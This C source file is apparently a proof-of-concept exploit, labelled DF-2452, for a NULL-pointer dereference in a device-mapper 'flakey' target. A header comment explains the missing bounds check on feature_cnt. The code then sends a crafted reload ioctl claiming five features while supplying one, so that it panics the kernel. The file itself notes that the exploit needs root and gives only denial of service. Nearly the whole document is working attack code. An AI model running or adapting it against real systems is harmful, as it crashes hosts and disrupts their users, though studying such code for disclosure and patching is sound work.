/*
 * DF-2452 PoC -- dm_target_flakey NULL-deref via mismatched feature_cnt.
 *
 * Bug (sys/dev/disk/dm/flakey/dm_target_flakey.c):
 *
 *   _init_features(dm_target_flakey_config_t *tfc, int argc, char **argv):
 *
 *   128:    if (argc == 0)
 *   129:        return 0;
 *   131:    argc = atoi64(*argv++);   <-- re-read feature_cnt from params
 *   132:    if (argc > 6) {           <-- only checks upper bound, NOT that
 *   133:        ...                       actual remaining args >= argc
 *   134:        return EINVAL;
 *   135:    }
 *   137:    while (argc) {
 *   138:        argc--;
 *   139:        arg = *argv++;        <-- walks past populated argv slots
 *   ...                                 into the M_ZERO'd NULL tail of the
 *                                       dm_table_init argv buffer
 *
 * dm_table_init (dm_ioctl.c:824) allocates argv with kmalloc(..., M_ZERO)
 * and fills only the parsed tokens; the rest stay NULL. When the feature_cnt
 * embedded in the params string claims more features than actually follow,
 * the while-loop dereferences a NULL slot -> strcmp(NULL, "drop_writes") ->
 * kernel NULL-deref panic.
 *
 * Trigger: reload a "flakey" table with params:
 *     <dev> <offset> <up_int> <down_int> 5 drop_writes
 *                          feature_cnt=5 ^        only 1 actual arg follows
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator
 * (device-mapper.c:181) and dm must be kldload-ed by root. This PoC runs as
 * root. No unprivileged path (maxx uid 1001 not in operator/wheel). This is
 * a root->kernel DoS / NULL-deref with no write primitive (valid hard blocker
 * for uid0 -- read-fault-equivalent NULL deref).
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./poc   (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV	"/dev/mapper/control"
#define DEV_NAME	"df2452dev"
#define UNDERLYING_DEV	"/dev/md0"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(void)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(void)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_reload_mismatched_feature_cnt(void)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	char params[256];
	int rv;

	/*
	 * flakey params: <dev> <offset> <up_int> <down_int> <feature_cnt> <features...>
	 *
	 * We set feature_cnt=5 but provide only ONE actual feature arg
	 * ("drop_writes"). _init_features will loop 5 times but only 1 slot
	 * is populated -> iteration 2 reads NULL -> strcmp(NULL,...) panic.
	 */
	snprintf(params, sizeof(params),
	    "%s 0 10 5 5 drop_writes", UNDERLYING_DEV);

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "flakey");
	prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152);
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

int
main(void)
{
	int rv;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2452 dm_target_flakey NULL-deref via mismatched feature_cnt\n");
	printf("[*] params: \"%s 0 10 5 5 drop_writes\" -- feature_cnt=5 but only 1 arg follows\n",
	    UNDERLYING_DEV);
	printf("[*] _init_features loop reads past populated argv slots into NULL\n");
	printf("[*] expect: kernel panic -- NULL deref in strcmp\n");
	fflush(stdout);

	(void)do_remove();
	rv = do_create();
	if (rv != 0) {
		fprintf(stderr, "[!] create rv=%d (%s)\n", rv, strerror(rv));
		close(g_ctlfd);
		return 1;
	}

	printf("[*] firing reload with mismatched feature_cnt...\n");
	fflush(stdout);

	rv = do_reload_mismatched_feature_cnt();
	printf("[!] reload ioctl returned rv=%d (%s) -- kernel survived?\n",
	    rv, rv ? strerror(rv) : "ok");

	(void)do_remove();
	close(g_ctlfd);
	return 0;
}
